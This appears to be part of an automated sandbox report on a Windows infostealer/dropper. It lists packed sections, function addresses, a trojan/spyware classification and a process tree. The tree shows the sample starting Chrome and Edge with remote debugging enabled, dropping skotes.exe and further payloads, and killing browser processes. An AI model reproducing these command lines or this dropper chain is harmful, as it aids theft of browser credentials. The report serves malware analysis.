Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF68460	0_2_6CF68460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFDA430	0_2_6CFDA430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB4420	0_2_6CFB4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D01A5E0	0_2_6D01A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFDE5F0	0_2_6CFDE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF445B0	0_2_6CF445B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D07A480	0_2_6D07A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFF0570	0_2_6CFF0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB2560	0_2_6CFB2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA8540	0_2_6CFA8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFAE6E0	0_2_6CFAE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFEE6E0	0_2_6CFEE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF746D0	0_2_6CF746D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFAC650	0_2_6CFAC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF7A7D0	0_2_6CF7A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFD0700	0_2_6CFD0700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D034130	0_2_6D034130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF600B0	0_2_6CF600B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF48090	0_2_6CF48090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF9E070	0_2_6CF9E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D01C000	0_2_6D01C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D018010	0_2_6D018010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF501E0	0_2_6CF501E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D02C0B0	0_2_6D02C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB8140	0_2_6CFB8140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFC6130	0_2_6CFC6130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D06C360	0_2_6D06C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D092370	0_2_6D092370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFD8260	0_2_6CFD8260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFE8250	0_2_6CFE8250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D01A210	0_2_6D01A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA43E0	0_2_6CFA43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D028220	0_2_6D028220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFAE3B0	0_2_6CFAE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF823A0	0_2_6CF823A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF52370	0_2_6CF52370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFE6370	0_2_6CFE6370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0222A0	0_2_6D0222A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D01E2B0	0_2_6D01E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF58340	0_2_6CF58340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0D62C0	0_2_6D0D62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFC2320	0_2_6CFC2320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFEFC80	0_2_6CFEFC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D099D90	0_2_6D099D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF53C40	0_2_6CF53C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D021DC0	0_2_6D021DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF61C30	0_2_6CF61C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D079C40	0_2_6D079C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF43D80	0_2_6CF43D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D08DCD0	0_2_6D08DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D011CE0	0_2_6D011CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB3D00	0_2_6CFB3D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0A7F20	0_2_6D0A7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF73EC0	0_2_6CF73EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D06DFC0	0_2_6D06DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0D3FC0	0_2_6D0D3FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFFBFF0	0_2_6CFFBFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D05DE10	0_2_6D05DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF71F90	0_2_6CF71F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0D5E60	0_2_6D0D5E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0ABE70	0_2_6D0ABE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF45F30	0_2_6CF45F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF85F20	0_2_6CF85F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D09F900	0_2_6D09F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF5D8E0	0_2_6CF5D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF838E0	0_2_6CF838E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D005920	0_2_6D005920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFEF8C0	0_2_6CFEF8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D00D960	0_2_6D00D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D021990	0_2_6D021990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFAD810	0_2_6CFAD810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB59F0	0_2_6CFB59F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFE79F0	0_2_6CFE79F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF899D0	0_2_6CF899D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFE99C0	0_2_6CFE99C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D023840	0_2_6D023840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF61980	0_2_6CF61980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFCF960	0_2_6CFCF960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D02F8F0	0_2_6D02F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0AB8F0	0_2_6D0AB8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF51AE0	0_2_6CF51AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D02FB60	0_2_6D02FB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D035B90	0_2_6D035B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D019BB0	0_2_6D019BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF8FA10	0_2_6CF8FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFF1A10	0_2_6CFF1A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF97BF0	0_2_6CF97BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D04DA30	0_2_6D04DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA9BA0	0_2_6CFA9BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0D9A50	0_2_6D0D9A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF41B80	0_2_6CF41B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D02DAB0	0_2_6D02DAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF9BB20	0_2_6CF9BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF514E0	0_2_6CF514E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D09F510	0_2_6D09F510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFDD410	0_2_6CFDD410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFD55F0	0_2_6CFD55F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D039430	0_2_6D039430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF89590	0_2_6CF89590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0D14A0	0_2_6D0D14A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF65510	0_2_6CF65510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB7500	0_2_6CFB7500
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00F2E530	21_2_00F2E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00F678BB	21_2_00F678BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00F68860	21_2_00F68860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00F67049	21_2_00F67049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00F24DE0	21_2_00F24DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00F631A8	21_2_00F631A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00F62D10	21_2_00F62D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00F6779B	21_2_00F6779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00F24B30	21_2_00F24B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00F57F36	21_2_00F57F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF79B10 appears 105 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6D089F30 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CFAC5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6D0DDAE0 appears 77 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF73620 appears 95 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6D0DD930 appears 61 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6D0D09D0 appears 320 times

Source: file.exe, 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1886140780.0000000070152000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: pjkvfjuj ZLIB complexity 0.9947779605263158
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9959287721389646
Source: random[1].exe.0.dr	Static PE information: Section: nmkptigd ZLIB complexity 0.9945193521939083
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9959287721389646
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: Section: nmkptigd ZLIB complexity 0.9945193521939083
Source: skotes.exe.20.dr	Static PE information: Section: ZLIB complexity 0.9959287721389646
Source: skotes.exe.20.dr	Static PE information: Section: nmkptigd ZLIB complexity 0.9945193521939083
Source: random[1].exe.21.dr	Static PE information: Section: cqumvlma ZLIB complexity 0.9944735632391116
Source: 5454ad7c1c.exe.21.dr	Static PE information: Section: cqumvlma ZLIB complexity 0.9944735632391116
Source: random[1].exe0.21.dr	Static PE information: Section: ZLIB complexity 0.998182852056962
Source: random[1].exe0.21.dr	Static PE information: Section: drhtdnen ZLIB complexity 0.9944505682695276
Source: bef6a59ce6.exe.21.dr	Static PE information: Section: ZLIB complexity 0.998182852056962
Source: bef6a59ce6.exe.21.dr	Static PE information: Section: drhtdnen ZLIB complexity 0.9944505682695276
Source: random[2].exe.21.dr	Static PE information: Section: pjkvfjuj ZLIB complexity 0.9947779605263158
Source: 5b96a79886.exe.21.dr	Static PE information: Section: pjkvfjuj ZLIB complexity 0.9947779605263158

Source: random[2].exe0.21.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 4ff2bfa33f.exe.21.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@98/322@100/27

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CFB0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CFB0300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\2PZI9DE5.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4940:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6932:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7736:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7004:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\f42a0d90-2f39-4eb5-9373-3a20a4aee7bd.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1880833508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1855103027.000000001DF5E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1880833508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1855103027.000000001DF5E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1880833508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1855103027.000000001DF5E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1880833508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1855103027.000000001DF5E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1880833508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1855103027.000000001DF5E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1880833508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1855103027.000000001DF5E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.1880833508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1855103027.000000001DF5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1513295914.000000001DE19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1606253935.000000001DE0D000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2311264780.00000000052E6000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2345339250.00000000052DA000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2344849068.00000000052E6000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2540044089.000000000526C000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2535192201.000000000528B000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2481679384.0000000005294000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1880833508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1855103027.000000001DF5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1880833508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1855103027.000000001DF5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 36%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsCGDHIEGCFH.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2060,i,2647942614130931966,15784905078428545110,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2264,i,2609395164648408671,7416745225154322423,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6912 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6956 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCGDHIEGCFH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCGDHIEGCFH.exe "C:\Users\user\DocumentsCGDHIEGCFH.exe"
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe "C:\Users\user~1\AppData\Local\Temp\1006992001\5454ad7c1c.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7000 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe "C:\Users\user~1\AppData\Local\Temp\1006993001\bef6a59ce6.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2220,i,3573248279315698429,12793080919061275164,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe "C:\Users\user~1\AppData\Local\Temp\1006994001\5b96a79886.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe "C:\Users\user~1\AppData\Local\Temp\1006993001\bef6a59ce6.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe "C:\Users\user~1\AppData\Local\Temp\1006995001\3afa1b1567.exe"
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe "C:\Users\user~1\AppData\Local\Temp\1006994001\5b96a79886.exe"
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
